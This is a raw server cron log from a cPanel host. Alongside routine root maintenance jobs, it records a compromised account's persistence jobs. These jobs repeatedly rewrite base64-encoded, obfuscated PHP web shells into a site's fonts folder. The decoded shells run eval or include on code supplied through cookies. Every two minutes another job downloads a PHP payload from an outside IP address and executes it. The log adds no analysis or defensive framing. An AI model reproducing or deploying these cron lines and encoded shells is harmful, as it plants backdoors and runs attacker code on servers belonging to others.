Sep  4 06:07:01 ip-184-168-122-23 CROND[3433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:07:01 ip-184-168-122-23 CROND[3432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:07:01 ip-184-168-122-23 CROND[3435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:08:01 ip-184-168-122-23 CROND[3555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:08:01 ip-184-168-122-23 CROND[3556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:08:01 ip-184-168-122-23 CROND[3559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:08:01 ip-184-168-122-23 CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:08:01 ip-184-168-122-23 CROND[3560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:09:01 ip-184-168-122-23 CROND[3683]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 06:09:01 ip-184-168-122-23 CROND[3685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:09:01 ip-184-168-122-23 CROND[3687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:09:01 ip-184-168-122-23 CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:09:01 ip-184-168-122-23 CROND[3686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:10:01 ip-184-168-122-23 CROND[3808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3810]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:10:01 ip-184-168-122-23 CROND[3815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:11:01 ip-184-168-122-23 CROND[3942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:11:01 ip-184-168-122-23 CROND[3944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:11:01 ip-184-168-122-23 CROND[3943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:11:01 ip-184-168-122-23 CROND[3946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:12:01 ip-184-168-122-23 CROND[4156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:12:01 ip-184-168-122-23 CROND[4159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:12:01 ip-184-168-122-23 CROND[4158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:12:01 ip-184-168-122-23 CROND[4161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:12:01 ip-184-168-122-23 CROND[4160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:13:01 ip-184-168-122-23 CROND[4352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:13:01 ip-184-168-122-23 CROND[4354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:13:01 ip-184-168-122-23 CROND[4355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:13:01 ip-184-168-122-23 CROND[4356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:14:01 ip-184-168-122-23 CROND[4539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:14:01 ip-184-168-122-23 CROND[4541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:14:01 ip-184-168-122-23 CROND[4542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:14:01 ip-184-168-122-23 CROND[4543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:14:01 ip-184-168-122-23 CROND[4545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:15:01 ip-184-168-122-23 CROND[4698]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:15:01 ip-184-168-122-23 CROND[4700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4705]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 06:15:01 ip-184-168-122-23 CROND[4702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:16:01 ip-184-168-122-23 CROND[4832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:16:01 ip-184-168-122-23 CROND[4833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:16:01 ip-184-168-122-23 CROND[4834]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:16:01 ip-184-168-122-23 CROND[4838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:16:01 ip-184-168-122-23 CROND[4840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:16:01 ip-184-168-122-23 CROND[4841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:17:01 ip-184-168-122-23 CROND[4924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:17:01 ip-184-168-122-23 CROND[4923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:17:01 ip-184-168-122-23 CROND[4926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:17:01 ip-184-168-122-23 CROND[4930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:18:01 ip-184-168-122-23 CROND[5037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:18:01 ip-184-168-122-23 CROND[5039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:18:01 ip-184-168-122-23 CROND[5041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:18:01 ip-184-168-122-23 CROND[5040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:18:01 ip-184-168-122-23 CROND[5043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
